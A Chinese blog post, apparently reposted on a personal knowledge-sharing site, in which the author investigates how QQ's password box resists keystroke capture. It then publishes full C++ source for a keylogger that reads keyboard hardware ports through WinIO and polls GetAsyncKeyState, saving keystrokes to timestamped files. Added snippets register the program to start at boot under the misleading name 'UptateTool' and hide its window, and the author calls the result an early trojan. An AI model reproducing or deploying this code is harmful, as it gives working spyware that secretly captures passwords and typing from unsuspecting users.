分享

使用WINIO进行驱动层的键盘记录

 quasiceo 2013-12-06
分类: C++ WINIO 键盘记录 2013-05-29 17:32 177人阅读 评论(0) 收藏 举报

突然对QQ的安全机制起了兴趣..

想来利用检测键盘状态来做键盘记录应该很容易.安全软件也不能认为这种需求为非法.那QQ怎么防类似记录呢.


做个实验.


随便写个程序,每帧都去读取键盘状态.行不行?


  1. for(int i = 8; i <=255; i++)  
  2. {  
  3.     if( GetAsyncKeyState(i) & 1 == 1 )  
  4.     {  
  5.         cout << i;  
  6.     }  
  7. }  


很容易取得键盘状态,每帧之间sleep上5微秒.CPU也不会高也不会漏掉.

这样做的话,在使用记事本或其他应用的时候都是可以记录的.但当QQ登录框的密码项激活时,我发现即使没有按键盘,也会不断有检测到键盘按键被按下..

也就是说QQ的密码框在不断的伪造按键事件..


嗯,这个方法挺巧妙的.我实验了一下招商银行的安全控件.没有类似的伪造行为.


这么看QQ和安全控件的原理应该一样,HOOK掉键盘事件.隐藏或伪造真实事件.

WINDOWS的机制是后HOOK的钩子先被通知,那如果我们也HOOK掉相同的事件呢?

百度一下..发现有人研究过.QQ有个定时器,隔段时间会重新UNHOOK,HOOK一次.哈哈.这个机制确实巧妙.不禁的要赞一下.


那再底层有没有办法监控呢?.试试用WINIO直接读取键盘中断的方法.这个设计到很多硬件知识.实在是不懂,搜了一圈知道以下原理:

PS2的键盘芯片.会在有键盘按下时改变端口64的标志位.这时候去读取端口60的值,就能得到当前按下的键盘按键的扫描码.

相关资料参考 : http://blog.csdn.net/vangoals/article/details/4405032

数据一旦被读走,状态寄存器就会清0.所以这里必须不停的监控.CPU占用会较高.


于是写了如下程序.每次启动时生成一个以当前时间命名的文件,不停监控键盘事件,如果10秒内没有键盘敲击,则将之前的数据写入文件.在WIN7,XP下运行通过.

  1. // KeyBoardRecord.cpp : Defines the entry point for the console application.  
  2. //  
  3.   
  4. #include <windows.h>  
  5. #include <Winuser.h>  
  6. #include <string>  
  7. #include <fstream>  
  8. #include <iostream>  
  9.   
  10. #include <time.h>  
  11. #include <stdio.h>  
  12. #include <sys/types.h>  
  13. #include <sys/timeb.h>  
  14. #include <assert.h>  
  15.   
  16. #include <..\WinIo\Source\Dll\winio.h>  
  17.   
  18. #pragma comment( lib, "..\\WinIo_v2\\Source\\Dll\\Release\\WinIo.lib" )  
  19.   
  20. using namespace std;  
  21.   
  22.   
  23. string GetKey(int Key) // 判断键盘按下什么键  
  24. {  
  25.     string KeyString = "";  
  26.     //判断符号输入  
  27.     const int KeyPressMask=0x80000000; //键盘掩码常量  
  28.     int iShift=GetKeyState(0x10); //判断Shift键状态  
  29.     bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键  
  30.     if(Key >=186 && Key <=222)  
  31.     {  
  32.         switch(Key)  
  33.         {  
  34.         case 186:  
  35.             if(IS)  
  36.                 KeyString = ":";  
  37.             else  
  38.                 KeyString = ";";  
  39.             break;  
  40.         case 187:  
  41.             if(IS)  
  42.                 KeyString = "+";  
  43.             else  
  44.                 KeyString = "=";  
  45.             break;  
  46.         case 188:  
  47.             if(IS)  
  48.                 KeyString = "<";  
  49.             else  
  50.                 KeyString = ",";  
  51.             break;  
  52.         case 189:  
  53.             if(IS)  
  54.                 KeyString = "_";  
  55.             else  
  56.                 KeyString = "-";  
  57.             break;  
  58.         case 190:  
  59.             if(IS)  
  60.                 KeyString = ">";  
  61.             else  
  62.                 KeyString = ".";  
  63.             break;  
  64.         case 191:  
  65.             if(IS)  
  66.                 KeyString = "?";  
  67.             else  
  68.                 KeyString = "/";  
  69.             break;  
  70.         case 192:  
  71.             if(IS)  
  72.                 KeyString = "~";  
  73.             else  
  74.                 KeyString = "`";  
  75.             break;  
  76.         case 219:  
  77.             if(IS)  
  78.                 KeyString = "{";  
  79.             else  
  80.                 KeyString = "[";  
  81.             break;  
  82.         case 220:  
  83.             if(IS)  
  84.                 KeyString = "|";  
  85.             else  
  86.                 KeyString = "\\";  
  87.             break;  
  88.         case 221:  
  89.             if(IS)  
  90.                 KeyString = "}";  
  91.             else  
  92.                 KeyString = "]";  
  93.             break;  
  94.         case 222:  
  95.             if(IS)  
  96.                 KeyString = '"';  
  97.             else  
  98.                 KeyString = "'";  
  99.             break;  
  100.         }  
  101.     }  
  102.     //判断键盘的第一行  
  103.     if (Key == VK_ESCAPE) // 退出  
  104.         KeyString = "[Esc]";  
  105.     else if (Key == VK_F1) // F1至F12  
  106.         KeyString = "[F1]";  
  107.     else if (Key == VK_F2)  
  108.         KeyString = "[F2]";  
  109.     else if (Key == VK_F3)  
  110.         KeyString = "[F3]";  
  111.     else if (Key == VK_F4)  
  112.         KeyString = "[F4]";  
  113.     else if (Key == VK_F5)  
  114.         KeyString = "[F5]";  
  115.     else if (Key == VK_F6)  
  116.         KeyString = "[F6]";  
  117.     else if (Key == VK_F7)  
  118.         KeyString = "[F7]";  
  119.     else if (Key == VK_F8)  
  120.         KeyString = "[F8]";  
  121.     else if (Key == VK_F9)  
  122.         KeyString = "[F9]";  
  123.     else if (Key == VK_F10)  
  124.         KeyString = "[F10]";  
  125.     else if (Key == VK_F11)  
  126.         KeyString = "[F11]";  
  127.     else if (Key == VK_F12)  
  128.         KeyString = "[F12]";  
  129.     else if (Key == VK_SNAPSHOT) // 打印屏幕  
  130.         KeyString = "[PrScrn]";  
  131.     else if (Key == VK_SCROLL) // 滚动锁定  
  132.         KeyString = "[Scroll Lock]";  
  133.     else if (Key == VK_PAUSE) // 暂停、中断  
  134.         KeyString = "[Pause]";  
  135.     else if (Key == VK_CAPITAL) // 大写锁定  
  136.         KeyString = "[Caps Lock]";  
  137.   
  138.     //-------------------------------------//  
  139.     //控制键  
  140.     else if (Key == 8) //<- 回格键  
  141.         KeyString = "[Backspace]";  
  142.     else if (Key == VK_RETURN) // 回车键、换行  
  143.         KeyString = "[Enter]\n";  
  144.     else if (Key == VK_SPACE) // 空格  
  145.         KeyString = " ";  
  146.     //上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,  
  147.     //上档键和别的键组合,输出时有字符输出  
  148.     /* 
  149.     else if (Key == VK_LSHIFT) // 左侧上档键 
  150.     KeyString = "[Shift]"; 
  151.     else if (Key == VK_LSHIFT) // 右侧上档键 
  152.     KeyString = "[SHIFT]"; 
  153.     */  
  154.     /*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/  
  155.     //else if (Key == VK_TAB) // 制表键  
  156.     //  KeyString = "[Tab]";  
  157.     //else if (Key == VK_LCONTROL) // 左控制键  
  158.     //  KeyString = "[Ctrl]";  
  159.     //else if (Key == VK_RCONTROL) // 右控制键  
  160.     //  KeyString = "[CTRL]";  
  161.     //else if (Key == VK_LMENU) // 左换档键  
  162.     //  KeyString = "[Alt]";  
  163.     //else if (Key == VK_LMENU) // 右换档键  
  164.     //  KeyString = "[ALT]";  
  165.     //else if (Key == VK_LWIN) // 右 WINDOWS 键  
  166.     //  KeyString = "[Win]";  
  167.     //else if (Key == VK_RWIN) // 右 WINDOWS 键  
  168.     //  KeyString = "[WIN]";  
  169.     //else if (Key == VK_APPS) // 键盘上 右键  
  170.     //  KeyString = "右键";  
  171.     //else if (Key == VK_INSERT) // 插入  
  172.     //  KeyString = "[Insert]";  
  173.     //else if (Key == VK_DELETE) // 删除  
  174.     //  KeyString = "[Delete]";  
  175.     //else if (Key == VK_HOME) // 起始  
  176.     //  KeyString = "[Home]";  
  177.     //else if (Key == VK_END) // 结束  
  178.     //  KeyString = "[End]";  
  179.     //else if (Key == VK_PRIOR) // 上一页  
  180.     //  KeyString = "[PgUp]";  
  181.     //else if (Key == VK_NEXT) // 下一页  
  182.     //  KeyString = "[PgDown]";  
  183.     //// 不常用的几个键:一般键盘没有  
  184.     //else if (Key == VK_CANCEL) // Cancel  
  185.     //  KeyString = "[Cancel]";  
  186.     //else if (Key == VK_CLEAR) // Clear  
  187.     //  KeyString = "[Clear]";  
  188.     //else if (Key == VK_SELECT) //Select  
  189.     //  KeyString = "[Select]";  
  190.     //else if (Key == VK_PRINT) //Print  
  191.     //  KeyString = "[Print]";  
  192.     //else if (Key == VK_EXECUTE) //Execute  
  193.     //  KeyString = "[Execute]";  
  194.   
  195.     //----------------------------------------//  
  196.     else if (Key == VK_LEFT) //上、下、左、右键  
  197.         KeyString = "[←]";  
  198.     else if (Key == VK_RIGHT)  
  199.         KeyString = "[→]";  
  200.     else if (Key == VK_UP)  
  201.         KeyString = "[↑]";  
  202.     else if (Key == VK_DOWN)  
  203.         KeyString = "[↓]";  
  204.     else if (Key == VK_NUMLOCK)//小键盘数码锁定  
  205.         KeyString = "[NumLock]";  
  206.     else if (Key == VK_ADD) // 加、减、乘、除  
  207.         KeyString = "+";  
  208.     else if (Key == VK_SUBTRACT)  
  209.         KeyString = "-";  
  210.     else if (Key == VK_MULTIPLY)  
  211.         KeyString = "*";  
  212.     else if (Key == VK_DIVIDE)  
  213.         KeyString = "/";  
  214.     else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .  
  215.         KeyString = ".";  
  216.     //小键盘数字键:0-9  
  217.     else if (Key == VK_NUMPAD0)  
  218.         KeyString = "0";  
  219.     else if (Key == VK_NUMPAD1)  
  220.         KeyString = "1";  
  221.     else if (Key == VK_NUMPAD2)  
  222.         KeyString = "2";  
  223.     else if (Key == VK_NUMPAD3)  
  224.         KeyString = "3";  
  225.     else if (Key == VK_NUMPAD4)  
  226.         KeyString = "4";  
  227.     else if (Key == VK_NUMPAD5)  
  228.         KeyString = "5";  
  229.     else if (Key == VK_NUMPAD6)  
  230.         KeyString = "6";  
  231.     else if (Key == VK_NUMPAD7)  
  232.         KeyString = "7";  
  233.     else if (Key == VK_NUMPAD8)  
  234.         KeyString = "8";  
  235.     else if (Key == VK_NUMPAD9)  
  236.         KeyString = "9";  
  237.     //-------------------------------------------//  
  238.   
  239.     //-------------------------------------------//  
  240.     //*对字母的大小写进行判断*//  
  241.     else if (Key >=97 && Key <= 122) // 字母:a-z  
  242.     {  
  243.         if (GetKeyState(VK_CAPITAL)) // 大写锁定  
  244.         {  
  245.             if(IS) //Shift按下:为小写字母  
  246.                 KeyString = Key;  
  247.             else // 只有大写锁定:输出大写字母  
  248.                 KeyString = Key - 32;  
  249.         }  
  250.         else// 大写没有锁定  
  251.         {  
  252.             if(IS) // 按下Shift键: 大写字母  
  253.                 KeyString = Key - 32;  
  254.             else // 没有按Shift键: 小写字母  
  255.                 KeyString = Key;  
  256.         }  
  257.     }  
  258.     else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号  
  259.     {  
  260.         if(IS)  
  261.         {  
  262.             switch(Key)  
  263.             {  
  264.             case 48: //0  
  265.                 KeyString = ")";  
  266.                 break;  
  267.             case 49://1  
  268.                 KeyString = "!";  
  269.                 break;  
  270.             case 50://2  
  271.                 KeyString = "@";  
  272.                 break;  
  273.             case 51://3  
  274.                 KeyString = "#";  
  275.                 break;  
  276.             case 52://4  
  277.                 KeyString = "$";  
  278.                 break;  
  279.             case 53://5  
  280.                 KeyString = "%";  
  281.                 break;  
  282.             case 54://6  
  283.                 KeyString = "^";  
  284.                 break;  
  285.             case 55://7  
  286.                 KeyString = "&";  
  287.                 break;  
  288.             case 56://8  
  289.                 KeyString = "*";  
  290.                 break;  
  291.             case 57://9  
  292.                 KeyString = "(";  
  293.                 break;  
  294.             }  
  295.         }  
  296.         else  
  297.             KeyString = Key;  
  298.     }  
  299.     if (Key != VK_LBUTTON || Key != VK_RBUTTON)  
  300.     {  
  301.         if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z  
  302.         {  
  303.             if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z  
  304.             {  
  305.                 if(IS) // 大写锁定,并且按下上档键:输出为小写字母  
  306.                     KeyString = Key + 32;  
  307.                 else //只有大写锁定:输出为大写字母  
  308.                     KeyString = Key;  
  309.             }  
  310.             else // 大写没有锁定:a-z  
  311.             {  
  312.                 if(IS)  
  313.                 {  
  314.                     KeyString = Key;  
  315.                 }  
  316.                 else  
  317.                 {  
  318.                     Key = Key + 32;  
  319.                     KeyString = Key;  
  320.                 }  
  321.             }  
  322.         }  
  323.     }  
  324.   
  325.     return KeyString;  
  326. }  
  327.   
  328. //多少秒算一次间隔  
  329. #define RECORD_INTERVAL 10  
  330.   
  331. void main()  
  332. {  
  333.     cout << "Start";  
  334.     if( InitializeWinIo() == false )  
  335.     {  
  336.         cout << "can not Init WinIO  :  " << GetLastError();  
  337.         ShutdownWinIo();  
  338.         return;  
  339.     }  
  340.   
  341.     string Filename;  
  342.     fstream FStream;  
  343.   
  344.     char szCurDir[MAX_PATH];  
  345.     GetCurrentDirectoryA( MAX_PATH, szCurDir );  
  346.   
  347.     time_t  _curTime;  
  348.     _curTime = time( NULL );  
  349.   
  350.     struct tm *tblock;  
  351.     tblock = localtime( &_curTime );  
  352.   
  353.     char szTimeBuf[128];  
  354.     sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );  
  355.     //sprintf_s( szTimeBuf, 128,("%d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday );  
  356.   
  357.     Filename = string(szCurDir) + "\\" + string( szTimeBuf ) + ".txt";  
  358.   
  359.     time_t _curNextRecordTime = _curTime + RECORD_INTERVAL;  
  360.   
  361.     FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );  
  362.     assert( FStream.fail() == false );  
  363.     while( FStream.fail() )  
  364.     {  
  365.         Sleep( 10000 );  
  366.         FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );  
  367.     }  
  368.   
  369.     if ( FStream.fail() )  
  370.     {  
  371.         return;  
  372.     }  
  373.   
  374.     DWORD _lastVal = 0;  
  375.     string _strRecord;  
  376.     while(true)  
  377.     {  
  378.         _curTime = time( NULL );  
  379.   
  380.         string TempString = "";  
  381.         DWORD dwPortVal = 0;  
  382.         if ( GetPortVal( 0x64, &dwPortVal, 1 ) )  
  383.         {  
  384.             if ( _lastVal != dwPortVal )  
  385.             {  
  386.                 _lastVal = dwPortVal;  
  387.                 //cout << "0x64 : " << dwPortVal << "\n";  
  388.                 if ( dwPortVal & 0x1 == 1 )  
  389.                 {  
  390.                     DWORD dwKeyVal;  
  391.                     GetPortVal( 0x60, &dwKeyVal, 1 );  
  392.                     DWORD relKey = MapVirtualKey( dwKeyVal, 1 );  
  393.                     TempString += GetKey( relKey );  
  394.                     //cout << "0x60 : " << relKey << "\n";  
  395.                     //a 30 158 s 31 159 b 48 176  
  396.                     cout << TempString;  
  397.                       
  398.                 }  
  399.             }  
  400.         }  
  401.         for(int i = 8; i <=255; i++)  
  402.         {  
  403.             if( GetAsyncKeyState(i) & 1 == 1)  
  404.             {  
  405.                 TempString += GetKey( i );  
  406.                 cout << TempString;  
  407.             }  
  408.         }  
  409.   
  410.         if ( !TempString.empty() )  
  411.         {  
  412.             if ( _strRecord.empty() )  
  413.             {  
  414.                 sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );  
  415.                 _strRecord += string( szTimeBuf ) + "\t ";  
  416.             }  
  417.             _strRecord += TempString;  
  418.   
  419.             _curNextRecordTime = _curTime + RECORD_INTERVAL;  
  420.         }  
  421.   
  422.         if ( _curNextRecordTime < _curTime )  
  423.         {  
  424.             if ( !_strRecord.empty() )  
  425.             {  
  426.                 _strRecord += "\n";  
  427.                 FStream.write(_strRecord.c_str(), _strRecord.size());  
  428.                 FStream.close();  
  429.                 FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);  
  430.   
  431.                 _strRecord = "";  
  432.             }  
  433.   
  434.             _curNextRecordTime = _curTime + RECORD_INTERVAL;  
  435.         }  
  436.     }  
  437.   
  438.     ShutdownWinIo();  
  439.   
  440. }  

那..既然做类似研究,就把相关的都做了..比如说开机启动....

  1. char szModName[MAX_PATH];  
  2. HMODULE GetModH = GetModuleHandle(NULL);  
  3. GetModuleFileName( GetModH, szModName, MAX_PATH );  
  4.   
  5. HKEY hKey;  
  6. RegOpenKeyEx(HKEY_LOCAL_MACHINE,  
  7.     "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );  
  8. RegSetValueEx(hKey, "UptateTool", 0, REG_SZ,(const unsigned char*)szModName,sizeof(szModName));  
  9. RegCloseKey( hKey );  


嗯..再比如说隐藏程序运行的界面...将程序改为WINDOWS.原来是CONSOLE.然后添加
  1. int APIENTRY WinMain(HINSTANCE hInstance,  
  2.                        HINSTANCE hPrevInstance,  
  3.                        LPTSTR    lpCmdLine,  
  4.                        int       nCmdShow)  
  5. {  
  6.     main();  
  7.     return 0;  
  8. }  

嗯..算是一个木马的雏形了..就是还搞不懂USB键盘应该怎么做.原理一样么?求达人指教...




    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约